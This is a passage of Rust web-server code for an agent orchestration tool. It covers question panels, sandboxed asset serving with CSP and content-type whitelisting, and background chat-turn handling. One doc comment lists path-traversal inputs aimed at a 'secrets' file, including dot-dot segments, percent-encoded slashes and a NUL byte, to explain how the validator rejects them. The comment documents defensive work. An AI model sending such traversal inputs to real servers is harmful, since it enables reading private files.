6185async fn question_say(
6186    State(ui): State<Arc<Ui>>,
6187    Path(id): Path<String>,
6188    body: std::result::Result<Json<NewSay>, JsonRejection>,
6189) -> ApiResult<Json<QuestionView>> {
6190    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6191    blocking(move || {
6192        let id = resolve_question(&ui.questions, &id)?;
6193        let q = ui
6194            .questions
6195            .get(&id)
6196            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6197        if !q.status.open() {
6198            // Same granularity as `question_answer`: answered or abandoned in
6199            // between the list and the tap is not this route's error to
6200            // explain any differently.
6201            return Err(ApiError::conflict(format!(
6202                "question {} is already {}",
6203                q.short(),
6204                q.status.as_str()
6205            )));
6206        }
6207        // `Question::say` owns the one rule that matters here - an empty
6208        // message tells the agent nothing - so the route does not restate it.
6209        let (q, ()) = ui
6210            .questions
6211            .update(&q.id, |r| r.say(body.body))
6212            .map_err(ApiError::bad_request_from)?;
6213        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6214        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6215        Ok(Json(
6216            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6217        ))
6218    })
6219    .await
6220}
6221
6222/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6223/// came from. The question stays open: the chat agent answers it with `magi
6224/// answer`, or puts the decision to the owner in the conversation.
6225///
6226/// Answers 202 and runs the turn in the background, like every route that
6227/// spends agent calls. The text is queued as a draft of the existing talk, and
6228/// the turn goes through the talk's own gate and session; no seat or waiter is
6229/// started here.
6230async fn question_consult(
6231    State(ui): State<Arc<Ui>>,
6232    Path(id): Path<String>,
6233) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6234    let (view, reclaimed) = blocking({
6235        let ui = Arc::clone(&ui);
6236        move || {
6237            let id = resolve_question(&ui.questions, &id)?;
6238            let q = ui
6239                .questions
6240                .get(&id)
6241                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6242            if !q.status.open() {
6243                return Err(ApiError::conflict(format!(
6244                    "question {} is already {}",
6245                    q.short(),
6246                    q.status.as_str()
6247                )));
6248            }
6249            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6250            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6251                return Err(ApiError::conflict(format!(
6252                    "question {} has no chat to ask",
6253                    q.short()
6254                )));
6255            };
6256            // Read the config before `begin` saves anything: a failure here
6257            // must leave no consult record or draft behind, or a retry would
6258            // see `fresh == false` and never start the turn.
6259            let cfg = if q.consult.is_none() {
6260                Some(Config::discover(&talk.repo, None)?.0)
6261            } else {
6262                None
6263            };
6264            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6265            let claim = if fresh {
6266                match ui.begin_queued_talk_turn(&talk.id)? {
6267                    Some(turn_guard) => {
6268                        let talk = ui.talks.get(&talk.id)?;
6269                        let cfg = match cfg {
6270                            Some(cfg) => cfg,
6271                            None => Config::discover(&talk.repo, None)?.0,
6272                        };
6273                        Some((talk, cfg, turn_guard))
6274                    }
6275                    None => None,
6276                }
6277            } else {
6278                None
6279            };
6280            let q = ui.questions.get(&q.id)?;
6281            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6282            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6283            Ok((view, claim))
6284        }
6285    })
6286    .await?;
6287    if let Some((talk, cfg, turn_guard)) = reclaimed {
6288        let talks = ui.talks.clone();
6289        let id = talk.id.clone();
6290        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6291    }
6292    Ok((StatusCode::ACCEPTED, Json(view)))
6293}
6294
6295/// Expand an id or short id to exactly one question id.
6296fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6297    if store.path_of(id).is_file() {
6298        return Ok(id.to_owned());
6299    }
6300    pick(
6301        store.list().into_iter().map(|q| q.id).collect(),
6302        id,
6303        "question",
6304    )
6305}
6306
6307/// `GET /api/questions/{id}/panel`.
6308///
6309/// The panel an agent wrote for this question, as `text/html` under
6310/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
6311/// A question without one is a 404 rather than an empty page: the client
6312/// preflights this route with `HEAD` and must be able to tell "no panel" from
6313/// "a panel that rendered blank", and a sandboxed frame is opaque to the
6314/// parent document so it cannot tell the difference by looking.
6315///
6316/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
6317/// sanitises or minifies it - a sanitiser is a list of things someone thought
6318/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6319/// is the direction that stays safe when an agent writes markup nobody
6320/// predicted.
6321async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6322    blocking(move || {
6323        let id = resolve_question(&ui.questions, &id)?;
6324        let Some(html) = ui.questions.panel_html(&id) else {
6325            return Err(ApiError::not_found(format!("question {id} has no panel")));
6326        };
6327        Ok(panel_response(
6328            "text/html; charset=utf-8",
6329            false,
6330            html.into_bytes(),
6331        ))
6332    })
6333    .await
6334}
6335
6336/// `GET /api/questions/{id}/asset/{name}`.
6337///
6338/// One file from the question's own panel directory, so a panel can show a
6339/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
6340/// having to allow anything off this machine.
6341///
6342/// This is the only route in the server where a client names a file, so it is
6343/// the only one with a traversal surface, and the name is checked by
6344/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
6345/// what is worth being explicit about, because the answer is not "all of it in
6346/// one place":
6347///
6348/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6349///   the raw request path and `{name}` spans exactly one segment, so a real
6350///   slash makes the request too long for the route and the router answers 404.
6351/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6352///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6353///   `..\secrets` respectively, which look like plain filenames to the router.
6354///   The validator refuses them here - both for the literal `..` and because
6355///   `/` and `\` are not in the permitted character set - and answers 400.
6356/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6357///   the platform's path API is not, and it is refused here for the same
6358///   reason: NUL is not a permitted character.
6359/// * [`Questions::panel_asset`] validates again on read, so the check is not
6360///   load-bearing in only one place. This route's own check exists so the
6361///   failure is a 400 that says which name was wrong, rather than a store error
6362///   the operator has to interpret.
6363async fn question_asset(
6364    State(ui): State<Arc<Ui>>,
6365    Path((id, name)): Path<(String, String)>,
6366) -> ApiResult<Response> {
6367    // Before any filesystem work and before any path is built: a name this
6368    // server will not serve should not become a `PathBuf` at all.
6369    if !crate::ask::valid_asset_name(&name) {
6370        return Err(ApiError::bad_request(format!(
6371            "`{name}` is not a usable asset name"
6372        )));
6373    }
6374    blocking(move || {
6375        let id = resolve_question(&ui.questions, &id)?;
6376        let asset = ui
6377            .questions
6378            .panel_asset(&id, &name)
6379            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6380        let Some(bytes) = asset else {
6381            return Err(ApiError::not_found(format!(
6382                "question {id} has no asset `{name}`"
6383            )));
6384        };
6385        Ok(panel_response(
6386            asset_content_type(&name),
6387            is_svg(&name),
6388            bytes,
6389        ))
6390    })
6391    .await
6392}
6393
6394/// Content type for a panel asset, from a closed whitelist.
6395///
6396/// A whitelist with an `application/octet-stream` fallback rather than a
6397/// guess, because the one answer that must never come out of here is
6398/// `text/html`. An agent that writes `notes.html` into its panel directory and
6399/// links it would otherwise get its own markup rendered at the top level of the
6400/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6401/// magi's origin - which is precisely the thing the panel design exists to
6402/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6403///
6404/// `nosniff` accompanies this on every response, so a browser cannot decide it
6405/// knows better than the type we sent.
6406fn asset_content_type(name: &str) -> &'static str {
6407    match extension(name).as_deref() {
6408        Some("png") => "image/png",
6409        Some("jpg" | "jpeg") => "image/jpeg",
6410        Some("gif") => "image/gif",
6411        Some("webp") => "image/webp",
6412        Some("svg") => "image/svg+xml",
6413        Some("css") => "text/css; charset=utf-8",
6414        Some("txt") => "text/plain; charset=utf-8",
6415        _ => "application/octet-stream",
6416    }
6417}
6418
6419/// Is this an SVG, and therefore a file that must never be opened at the top
6420/// level?
6421fn is_svg(name: &str) -> bool {
6422    extension(name).as_deref() == Some("svg")
6423}
6424
6425/// Lowercased extension, or `None` for a name without one.
6426fn extension(name: &str) -> Option<String> {
6427    name.rsplit_once('.')
6428        .map(|(_, ext)| ext.to_ascii_lowercase())
6429}
6430
6431/// Every panel response, with the four headers that make it safe and, for an
6432/// SVG, a fifth.
6433///
6434/// One function rather than a header list per handler, because a panel route
6435/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
6436/// model gone, silently, on one of two routes. Adding a third panel route later
6437/// means calling this, and there is nowhere else to build a panel response.
6438///
6439/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
6440/// as an `<img src>` inside the panel that script cannot run - but the asset
6441/// URL is also a plain URL an operator can be talked into opening in a tab,
6442/// where it is a document on magi's own origin. `Content-Disposition:
6443/// attachment` makes the browser download it instead of rendering it, which
6444/// closes that door without taking away the ability to draw a diff. Raster
6445/// images have no such execution surface and are left inline, so tapping a
6446/// screenshot still shows it.
6447fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6448    let mut res = (
6449        [
6450            (header::CONTENT_TYPE, content_type),
6451            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6452            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6453            (header::REFERRER_POLICY, "no-referrer"),
6454        ],
6455        body,
6456    )
6457        .into_response();
6458    if download {
6459        res.headers_mut().insert(
6460            header::CONTENT_DISPOSITION,
6461            HeaderValue::from_static("attachment"),
6462        );
6463    }
6464    res
6465}
6466
6467/// A talk as the phone reads it.
6468///
6469/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
6470/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
6471/// parses markdown itself - and the process-local `thinking` hint.
6472#[derive(Debug, Serialize)]
6473struct TalkView {
6474    #[serde(flatten)]
6475    talk: Talk,
6476    turn_bodies_md: Vec<Vec<md::Node>>,
6477    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
6478    /// this server process.
6479    ///
6480    /// This is deliberately not durable: another server process cannot see
6481    /// it, and a restarted server must not claim an old turn is live. It is a
6482    /// progress hint rather than proof a reply landed; the transcript remains
6483    /// the source of truth for that.
6484    thinking: bool,
6485    /// Context-window usage, derived per request - see
6486    /// [`talk::context_usage`]. Carried on every talk response (list, detail
6487    /// and each mutation) so the phone needs no extra call or polling.
6488    context: talk::ContextUsage,
6489    /// `[talk] operator_name`, when configured; the Chat labels the
6490    /// operator's turns with it.
6491    operator_name: Option<String>,
6492    /// The active persona's display name; `None` for the default voice.
6493    persona_name: Option<String>,
6494    /// URL of the avatar for the conversation's persona (the default voice
6495    /// included). Server-built; a configured `icon` never reaches the client.
6496    persona_avatar: String,
6497}
6498
6499impl TalkView {
6500    /// Reads the talk's repository config itself; a config that cannot be
6501    /// read leaves the window unknown but never fails the conversation.
6502    fn new(talk: Talk, thinking: bool) -> Self {
6503        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6504        Self::with_config(talk, thinking, cfg.as_ref())
6505    }
6506
6507    /// As [`Self::new`], with the config already in hand (the list reads one
6508    /// per repository, not one per conversation).
6509    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6510        let context = talk::context_usage(&talk, cfg);
6511        let turn_bodies_md = talk
6512            .turns
6513            .iter()
6514            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6515            .collect();
6516        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6517        let persona_name = persona::find(specs, &talk.persona)
6518            .filter(|p| !p.is_default())
6519            .map(|p| p.name);
6520        let persona_avatar = avatar_url(
6521            &talk.id,
6522            &persona::find(specs, &talk.persona)
6523                .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6524        );
6525        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6526        Self {
6527            turn_bodies_md,
6528            thinking,
6529            context,
6530            operator_name,
6531            persona_name,
6532            persona_avatar,
6533            talk,
6534        }
6535    }
6536}
6537
6538/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6539/// conversation has filed, so the phone can follow one from inside the
6540/// conversation that asked for it rather than hunting the Queue for a task id
6541/// it may not remember.
6542#[derive(Debug, Serialize)]
6543struct TalkDetailView {
6544    #[serde(flatten)]
6545    view: TalkView,
6546    tasks: Vec<TaskView>,
6547    /// The agents this talk's repository can switch to; empty when its
6548    /// configuration cannot be read, which must not fail the whole detail.
6549    roster: Vec<RosterEntry>,
6550    /// The personas the conversation can pick from. The built-ins are always
6551    /// listed, even when the repository's configuration cannot be read.
6552    personas: Vec<PersonaEntry>,
6553}
6554
6555/// One persona as the talk's persona selector shows it.
6556#[derive(Debug, Serialize)]
6557struct PersonaEntry {
6558    id: String,
6559    name: String,
6560    /// Avatar URL, see [`TalkView::persona_avatar`].
6561    avatar: String,
6562}
6563
6564/// One roster agent as the talk's agent selector shows it.
6565#[derive(Debug, Serialize)]
6566struct RosterEntry {
6567    id: String,
6568    kind: AgentKind,
6569    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6570    runnable: bool,
6571}
6572
6573/// `GET /api/talks`.
6574///
6575/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6576/// own order.
6577async fn talks_list(
6578    State(ui): State<Arc<Ui>>,
6579    Query(q): Query<ListQuery>,
6580) -> ApiResult<Json<Vec<TalkView>>> {
6581    blocking(move || {
6582        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6583        Ok(Json(
6584            ui.talks
6585                .list()
6586                .into_iter()
6587                .filter(|talk| q.contains(&talk.id))
6588                .map(|talk| {
6589                    let thinking = ui.is_thinking(&talk.id);
6590                    let cfg = configs
6591                        .entry(talk.repo.clone())
6592                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6593                    TalkView::with_config(talk, thinking, cfg.as_ref())
6594                })
6595                .collect(),
6596        ))
6597    })
6598    .await
6599}
6600
6601/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6602/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6603/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6604/// end still opens a talk against an older binary.
6605#[derive(Debug, Default, Deserialize)]
6606#[serde(default)]
6607struct NewTalk {
6608    agent: Option<String>,
6609    repo: Option<PathBuf>,
6610    /// Remembered choices from the browser. Soft: kept as raw JSON so a
6611    /// wrong type is dropped like a stale value instead of failing the request;
6612    /// each falls back to its default on its own (see [`talk::begin_with`]).
6613    preferred_agent: Option<serde_json::Value>,
6614    persona: Option<serde_json::Value>,
6615    implementers: Option<serde_json::Value>,
6616}
6617
6618/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6619/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6620async fn talk_post(
6621    State(ui): State<Arc<Ui>>,
6622    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6623) -> ApiResult<impl IntoResponse> {
6624    // An absent body, or an empty one, is the normal way to open a talk - see
6625    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6626    // rather than refused.
6627    let body = match body {
6628        Ok(Json(body)) => body,
6629        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6630        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6631    };
6632    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6633    let cfg = config_for(&repo).await?;
6634    let view = blocking(move || {
6635        let preferred = talk::Preferred {
6636            agent: body
6637                .preferred_agent
6638                .as_ref()
6639                .and_then(|v| v.as_str())
6640                .map(str::to_owned),
6641            persona: body
6642                .persona
6643                .as_ref()
6644                .and_then(|v| v.as_str())
6645                .map(str::to_owned),
6646            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6647        };
6648        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6649        let thinking = ui.is_thinking(&talk.id);
6650        Ok(TalkView::new(talk, thinking))
6651    })
6652    .await?;
6653    Ok((StatusCode::CREATED, Json(view)))
6654}
6655
6656/// `GET /api/talks/{id}`.
6657async fn talk_detail(
6658    State(ui): State<Arc<Ui>>,
6659    Path(id): Path<String>,
6660) -> ApiResult<Json<TalkDetailView>> {
6661    blocking(move || {
6662        let id = resolve_talk(&ui.talks, &id)?;
6663        let talk = ui.talks.get(&id)?;
6664        let thinking = ui.is_thinking(&talk.id);
6665        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6666            .into_iter()
6667            .map(TaskView::from)
6668            .collect();
6669        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6670        let roster = cfg
6671            .as_ref()
6672            .map(|cfg| {
6673                cfg.agents
6674                    .iter()
6675                    .map(|a| RosterEntry {
6676                        id: a.id.clone(),
6677                        kind: a.kind,
6678                        runnable: agent::installed(a),
6679                    })
6680                    .collect()
6681            })
6682            .unwrap_or_default();
6683        let specs = cfg
6684            .as_ref()
6685            .map(|cfg| cfg.talk.personas.clone())
6686            .unwrap_or_default();
6687        let personas = persona::catalog(&specs)
6688            .into_iter()
6689            .map(|p| PersonaEntry {
6690                avatar: avatar_url(&talk.id, &p),
6691                id: p.id,
6692                name: p.name,
6693            })
6694            .collect();
6695        Ok(Json(TalkDetailView {
6696            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6697            tasks,
6698            roster,
6699            personas,
6700        }))
6701    })
6702    .await
6703}
6704
6705/// The body of `POST /api/talks/{id}/say`.
6706///
6707/// `attachments` names ids `POST /api/talks/{id}/attachments` already
6708/// returned - never bytes of its own - so a turn with no images just omits
6709/// the field, which is what an older front end still does.
6710#[derive(Debug, Default, Deserialize)]
6711#[serde(default, deny_unknown_fields)]
6712struct NewTalkTurn {
6713    text: String,
6714    attachments: Vec<String>,
6715}
6716
6717#[derive(Debug, Deserialize)]
6718#[serde(deny_unknown_fields)]
6719struct EditTalkPending {
6720    text: String,
6721    expected_text: String,
6722    expected_attachments: Vec<String>,
6723}
6724
6725#[derive(Debug, Deserialize)]
6726#[serde(deny_unknown_fields)]
6727struct ClearTalkPending {
6728    expected_text: String,
6729    expected_attachments: Vec<String>,
6730}
6731
6732/// `POST /api/talks/{id}/say` - one turn of the conversation.
6733///
6734/// Not filesystem work, and therefore not routed through [`blocking`]: this
6735/// route spawns an agent CLI and a turn here can run for the whole of
6736/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
6737/// research turn is expected to run commands rather than answer from what it
6738/// already knows. Holding an HTTP connection open that long is not a thing
6739/// to ask a phone to do; the operator's message is recorded and answered for
6740/// immediately, and the reply lands in the background, discovered through
6741/// the change stream's `talks_rev` the same way every other update on this
6742/// surface is.
6743async fn talk_say(
6744    State(ui): State<Arc<Ui>>,
6745    Path(id): Path<String>,
6746    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6747) -> ApiResult<(StatusCode, Json<TalkView>)> {
6748    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6749    if body.text.trim().is_empty() && body.attachments.is_empty() {
6750        return Err(ApiError::bad_request("say something"));
6751    }
6752
6753    let id = {
6754        let ui = Arc::clone(&ui);
6755        let asked = id.clone();
6756        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6757    };
6758    // A closed Talk never accepts a new immediate or queued turn. Check this
6759    // before claiming a slot so its ordinary domain refusal is a 409, not an
6760    // incidental failure from the later record/queue write.
6761    {
6762        let ui = Arc::clone(&ui);
6763        let id = id.clone();
6764        blocking(move || {
6765            let talk = ui.talks.get(&id)?;
6766            if !talk.status.open() {
6767                return Err(ApiError::conflict(format!(
6768                    "talk {} is {} and takes no more turns",
6769                    talk.short(),
6770                    talk.status.as_str()
6771                )));
6772            }
6773            Ok(())
6774        })
6775        .await?;
6776    }
6777
6778    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6779    // actually stores, before anything is written - an unknown id is a 4xx
6780    // that names it rather than a turn (or a queued draft) silently missing
6781    // an image.
6782    let attachments = {
6783        let ui = Arc::clone(&ui);
6784        let id = id.clone();
6785        let ids = body.attachments.clone();
6786        blocking(move || {
6787            ids.into_iter()
6788                .map(|att_id| {
6789                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6790                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6791                    })
6792                })
6793                .collect::<ApiResult<Vec<talk::Attachment>>>()
6794        })
6795        .await?
6796    };
6797
6798    // Pending recovery and a new immediate turn are decided under the same
6799    // claim lock. Without that one critical section, a second `/say` can see
6800    // the first request's claim as "busy" and append itself to the recovered
6801    // draft before the first request rejects it.
6802    let start = {
6803        let ui = Arc::clone(&ui);
6804        let id = id.clone();
6805        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6806    };
6807    let turn_guard = match start {
6808        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6809        TalkTurnStart::Pending => {
6810            return Err(ApiError::conflict(
6811                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6812            ));
6813        }
6814        TalkTurnStart::Foreign => {
6815            return Err(ApiError::conflict(
6816                "a turn is already running in another process; try again when it has finished",
6817            ));
6818        }
6819        TalkTurnStart::Busy => {
6820            // A turn is already running: queue rather than refuse. See
6821            // `Ui::begin_talk_turn` and `talk::queue`.
6822            //
6823            // The queue write and the drain it may owe live inside the task
6824            // `tokio::spawn` hands to the runtime, for the same reason the
6825            // immediate path below puts `record` there: a dropped handler
6826            // future must not be able to land between a durable write and
6827            // the task that answers it. `blocking` runs its closure on
6828            // `spawn_blocking`, which finishes whether or not anyone is left
6829            // to receive its result - so a disconnect at the `.await` below
6830            // would otherwise leave the draft persisted and the reclaimed
6831            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6832            // ever started and the queued text stranded until some later
6833            // `say` happened to pick it up. The caller's 202 travels back
6834            // over a `oneshot`, sent the moment the write lands.
6835            let (tx, rx) = tokio::sync::oneshot::channel();
6836            tokio::spawn({
6837                let ui = Arc::clone(&ui);
6838                let id = id.clone();
6839                let said = body.text.clone();
6840                async move {
6841                    let written = blocking({
6842                        let ui = Arc::clone(&ui);
6843                        let id = id.clone();
6844                        move || {
6845                            let mut talk = ui.talks.get(&id)?;
6846                            // A test-only stop point, right before the write
6847                            // an interleaving test needs to pin - see
6848                            // `BusyQueueGate`. `None` in every real server:
6849                            // the field only exists under `#[cfg(test)]`.
6850                            #[cfg(test)]
6851                            if let Some(gate) = ui
6852                                .busy_queue_gate
6853                                .lock()
6854                                .unwrap_or_else(PoisonError::into_inner)
6855                                .take()
6856                            {
6857                                let _ = gate.reached.send(());
6858                                let _ = gate.release.recv();
6859                            }
6860                            if let Err(error) =
6861                                talk::queue(&mut talk, &ui.talks, &said, attachments)
6862                            {
6863                                if let Ok(fresh) = ui.talks.get(&id) {
6864                                    if !fresh.status.open() {
6865                                        return Err(ApiError::conflict(format!(
6866                                            "talk {} is {} and takes no more turns",
6867                                            fresh.short(),
6868                                            fresh.status.as_str()
6869                                        )));
6870                                    }
6871                                }
6872                                return Err(ApiError::from(error));
6873                            }
6874                            // The turn that looked busy a moment ago can have
6875                            // finished, found nothing to drain and given up the
6876                            // slot in the gap between that check and this write
6877                            // landing - see `drain_loop`'s own doc for the other
6878                            // half of why that gap would otherwise be able to
6879                            // open at all. Reclaiming the slot here, rather than
6880                            // trusting that whoever held it is still watching, is
6881                            // what stops the text just queued from being stranded
6882                            // until an unrelated future `say` happens to drain
6883                            // it.
6884                            let claim = match ui.begin_queued_talk_turn(&id)? {
6885                                Some(turn_guard) => {
6886                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6887                                    Some((talk.clone(), cfg, turn_guard))
6888                                }
6889                                None => None,
6890                            };
6891                            let thinking = ui.is_thinking(&id);
6892                            Ok((TalkView::new(talk, thinking), claim))
6893                        }
6894                    })
6895                    .await;
6896                    let (view, reclaimed) = match written {
6897                        Ok(pair) => pair,
6898                        Err(e) => {
6899                            // Nobody is listening if the handler's own future
6900                            // was already dropped - that is fine, nothing was
6901                            // persisted and there is no response left to carry
6902                            // this error to.
6903                            let _ = tx.send(Err(e));
6904                            return;
6905                        }
6906                    };
6907                    // If this fails, the caller is gone; the drain below still
6908                    // runs exactly as it would have for a caller that stayed.
6909                    let _ = tx.send(Ok(view));
6910                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6911                        let talks = ui.talks.clone();
6912                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6913                    }
6914                }
6915            });
6916            let view = rx
6917                .await
6918                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6919            return Ok((StatusCode::ACCEPTED, Json(view)));
6920        }
6921    };
6922
6923    let (talk, cfg) = {
6924        let ui = Arc::clone(&ui);
6925        let id = id.clone();
6926        blocking(move || {
6927            let talk = ui.talks.get(&id)?;
6928            let (cfg, _) = Config::discover(&talk.repo, None)?;
6929            Ok((talk, cfg))
6930        })
6931        .await?
6932    };
6933
6934    let talks = ui.talks.clone();
6935    // `record` runs *inside* the spawned task, rather than in this handler
6936    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6937    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6938    // doc), and that drop can land at any `.await` this function makes,
6939    // including one that has already produced its result but not yet
6940    // resumed. A message could end up recorded on disk with the handler
6941    // future gone before it ever reached the `tokio::spawn` that would have
6942    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6943    // that hands the whole future to the runtime as one unit - once made, no
6944    // later drop of *this* handler's own future (that call's return value is
6945    // never held onto here) can reach back in and stop it, so record and the
6946    // hand-off to `respond` are unconditionally atomic from the client's
6947    // point of view. The immediate response this handler owes the caller
6948    // travels back over a `oneshot`, sent the moment `record` succeeds.
6949    let (tx, rx) = tokio::sync::oneshot::channel();
6950    tokio::spawn({
6951        let ui = Arc::clone(&ui);
6952        let talks = talks.clone();
6953        let id = id.clone();
6954        let said = body.text.clone();
6955        let mut talk = talk.clone();
6956        async move {
6957            let recorded = blocking({
6958                let talks = talks.clone();
6959                move || {
6960                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6961                        if let Ok(fresh) = talks.get(&talk.id) {
6962                            if !fresh.status.open() {
6963                                return Err(ApiError::conflict(format!(
6964                                    "talk {} is {} and takes no more turns",
6965                                    fresh.short(),
6966                                    fresh.status.as_str()
6967                                )));
6968                            }
6969                        }
6970                        return Err(ApiError::from(error));
6971                    }
6972                    // `record` mutates `talk` in place to the freshly persisted
6973                    // state (status, pending, and the just-appended operator
6974                    // turn), so returning it here is equivalent to re-reading it
6975                    // from disk - without the extra round trip a re-read would
6976                    // need.
6977                    Ok((said.trim().to_owned(), talk))
6978                }
6979            })
6980            .await;
6981            let (text, mut talk) = match recorded {
6982                Ok(pair) => pair,
6983                Err(e) => {
6984                    // Nobody is listening if the handler's own future was
6985                    // already dropped - that is fine, there is no response
6986                    // left to carry this error to and nothing was persisted.
6987                    let _ = tx.send(Err(e));
6988                    return;
6989                }
6990            };
6991            let queued = talk.clone();
6992            let thinking = ui.is_thinking(&id);
6993            // If this fails, the caller is gone; the turn still runs below
6994            // exactly as it would have for a caller that stayed connected.
6995            let _ = tx.send(Ok((queued, thinking)));
6996
6997            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6998                // `respond` records the failure in the transcript itself,
6999                // which is what the phone reads; this line is for the
7000                // operator's terminal.
7001                tracing::warn!("talk {id} turn failed: {e:#}");
7002            }
7003            // Anything `talk::queue` added while the turn above was running
7004            // is still owed an answer - see `drain_loop`.
7005            drain_loop(talk, talks, cfg, id, turn_guard).await;
7006        }
7007    });
7008
7009    let (queued, thinking) = rx
7010        .await
7011        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7012
7013    // 202: the operator's message is recorded and a turn is running.
7014    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7015}
7016
7017/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
7018/// changing it. The turn guard is the same per-talk ownership `talk_say`
7019/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
7020async fn talk_pending_resume(
7021    State(ui): State<Arc<Ui>>,
7022    Path(id): Path<String>,
7023) -> ApiResult<(StatusCode, Json<TalkView>)> {
7024    let id = {
7025        let ui = Arc::clone(&ui);
7026        let asked = id.clone();
7027        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7028    };
7029    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7030        return Err(ApiError::conflict(
7031            "a talk turn is already running; the queued draft will be handled by it",
7032        ));
7033    };
7034    let (talk, cfg) = {
7035        let ui = Arc::clone(&ui);
7036        let id = id.clone();
7037        blocking(move || {
7038            let talk = ui.talks.get(&id)?;
7039            if !talk.status.open() {
7040                return Err(ApiError::conflict(format!(
7041                    "talk {} is {} and takes no more turns",
7042                    talk.short(),
7043                    talk.status.as_str()
7044                )));
7045            }
7046            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7047                return Err(ApiError::conflict("there is no queued draft to resume"));
7048            }
7049            let (cfg, _) = Config::discover(&talk.repo, None)?;
7050            Ok((talk, cfg))
7051        })
7052        .await?
7053    };
7054    let view = TalkView::new(talk.clone(), true);
7055    let talks = ui.talks.clone();
7056    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7057    Ok((StatusCode::ACCEPTED, Json(view)))
7058}
7059
